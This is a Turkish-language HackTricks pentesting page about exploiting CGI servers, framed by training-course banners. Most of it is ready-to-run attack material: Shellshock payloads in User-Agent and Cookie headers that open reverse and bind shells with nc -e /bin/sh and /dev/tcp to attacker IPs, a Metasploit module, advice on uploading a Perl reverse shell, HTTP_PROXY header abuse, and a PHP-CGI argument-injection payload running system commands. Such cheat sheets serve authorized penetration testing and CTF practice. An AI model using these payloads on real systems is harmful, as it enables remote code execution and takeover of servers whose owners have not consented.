tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Bilgi
CGI betikleri perl betikleridir, bu nedenle .cgi betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, perl ters kabuğu (/usr/share/webshells/perl/perl-reverse-shell.pl
) yükleyebilir, uzantıyı .pl'den .cgi'ye değiştirebilir, çalıştırma izinleri verebilir (chmod +x
) ve web tarayıcısından ters kabuğa erişebilirsiniz.
CGI zafiyetlerini test etmek için nikto -C all
(ve tüm eklentileri) kullanmanız önerilir.
ShellShock
ShellShock, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan Bash komut satırı kabuğunu etkileyen bir zafiyettir. Bu, Bash'ın uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin bir bilgisayarda nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan çevre değişkenlerinin manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine kötü niyetli kod ekleyerek bunu istismar edebilir ve değişken alındığında bu kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak tehlikeye atmasına olanak tanır.
Bu zafiyeti istismar ederek sayfa bir hata verebilir.
Bu zafiyeti, eski bir Apache sürümü ve cgi_mod (cgi klasörü ile) kullandığını fark ederek veya nikto kullanarak bulabilirsiniz.
Test
Çoğu test, bir şeyi yankılamak ve o dizenin web yanıtında döndürülmesini beklemek üzerine kuruludur. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (yansıtmalı, kör ve dışa dönük)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Sömürü
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM'den Web sunucusu isteklerine)
CGI, http isteğindeki her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur.
HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. "Proxy: <IP_attacker>:<PORT>" içeren bir başlık göndermeyi deneyin ve eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabileceksiniz.
Eski PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Temelde, cgi aktifse ve php "eski" ise (<5.3.12 / < 5.4.2) kod çalıştırabilirsiniz.
Bu güvenlik açığını istismar etmek için, parametre göndermeden (özellikle "=" karakterini göndermeden) web sunucusundaki bazı PHP dosyalarına erişmeniz gerekir.
Sonra, bu güvenlik açığını test etmek için, örneğin /index.php?-s
adresine erişebilirsiniz (not edin -s
) ve uygulamanın kaynak kodu yanıt olarak görünecektir.
Sonra, RCE elde etmek için bu özel sorguyu gönderebilirsiniz: /?-d allow_url_include=1 -d auto_prepend_file=php://input
ve isteğin gövdesinde çalıştırılacak PHP kodu. Örnek:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Zafiyet ve olası istismarlar hakkında daha fazla bilgi: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Yazım Örneği.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.